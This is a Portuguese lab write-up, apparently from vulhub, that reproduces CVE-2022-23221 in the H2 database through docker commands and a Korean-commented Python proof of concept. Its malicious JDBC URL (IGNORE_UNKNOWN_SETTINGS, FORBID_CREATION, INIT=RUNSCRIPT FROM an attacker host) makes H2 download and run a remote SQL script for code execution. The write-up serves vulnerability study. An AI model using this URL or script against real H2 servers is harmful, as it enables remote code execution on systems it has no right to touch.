
vulhub/H2-database/CVE-2022-23221
Referência: https://nvd.nist.gov/vuln/detail/cve-2022-23221
O H2 é um sistema de gerenciamento de banco de dados relacional que oferece a capacidade de compilar e executar código Java diretamente dentro do mecanismo SQL.
O driver H2 analisa a URL JDBC para estabelecer a conexão entre o aplicativo e o banco de dados. Nesse processo, os parâmetros de configuração contidos na URL podem controlar o estado inicial ou o comportamento do banco de dados.
As versões problemáticas do H2 anteriores à 2.1.210 apresentam a falha de permitir a execução de scripts SQL remotos por meio do parâmetro INIT da URL JDBC. Ao explorar isso, um atacante pode injetar remotamente um script SQL malicioso e, por meio de sua sintaxe, executar comandos do sistema, o que desencadeia a vulnerabilidade CVE-2022-23221.
As características desta vulnerabilidade são as seguintes:
Escopo de impacto da vulnerabilidade
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> bypass das configurações de segurança
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> comando SQL executado automaticamente quando a conexão entre o aplicativo e o banco de dados é estabelecida
CREATE ALIAS.
CREATE ALIAS dentro do script executado remotamente faz com que o H2 execute as funções Java do script dentro do banco de dados, resultando em RCE.Cenário
id, whoami e pwd, isso significa que o ambiente H2 vulnerável foi configurado e que o arquivo exploit.sql foi baixado e executado remotamente a partir do servidor attacker durante o processo de análise da URL JDBC maliciosa.Configuração do ambiente
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : fornece o arquivo exploit.sqlApós a configuração, acesse http://your-ip:8082 para ver a página web do H2.
: Como o console web aplica políticas de segurança que podem filtrar os parâmetros que são condições da vulnerabilidade, insere-se diretamente a URL JDBC com parâmetros maliciosos via CLI para reproduzir a vulnerabilidade e verificar o resultado.
URL JDBC normal: "jdbc:h2:mem:test"
Comando de solicitação normal
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
Resultado da execução

Insira a URL JDBC maliciosa no driver H2 para tentar a conexão com o servidor attacker. Há duas maneiras de inserir a URL:
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

O H2 solicita (HTTP GET) o arquivo exploit.sql ao servidor attacker, conforme INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' especificado no parâmetro INIT da URL JDBC, e o executa dentro do banco de dados H2.
docker logs attacker para ver os logs das solicitações do arquivo exploit.sql recebidas do servidor h2-vulnerable.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys
"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
# H2 서버 준비 대기
time.sleep(3)
# 검증 우회 파라미터가 포함된 JDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
# FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
# INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Docker 명령어 실행 및 결과
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] 에러: {e}")
return False
"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다.
반환값: 없음
"""
def main():
if exploit_h2():
print("[+] 공격 완료")
else:
print("[-] 공격 실패")
sys.exit(1)
if __name__ == "__main__":
main()
Como resultado da execução do arquivo exploit.sql, os logs do servidor h2-vulnerable exibem a string “EXPLOITED” juntamente com os resultados dos comandos id, whoami e pwd.
É possível verificar os logs com docker logs h2-vulnerable.
docker logs h2-vulnerable`

=> Isso significa que o ambiente h2 vulnerável foi configurado e que o download remoto e a execução do arquivo foram bem-sucedidos durante o processo de análise da URL JDBC maliciosa pelo H2.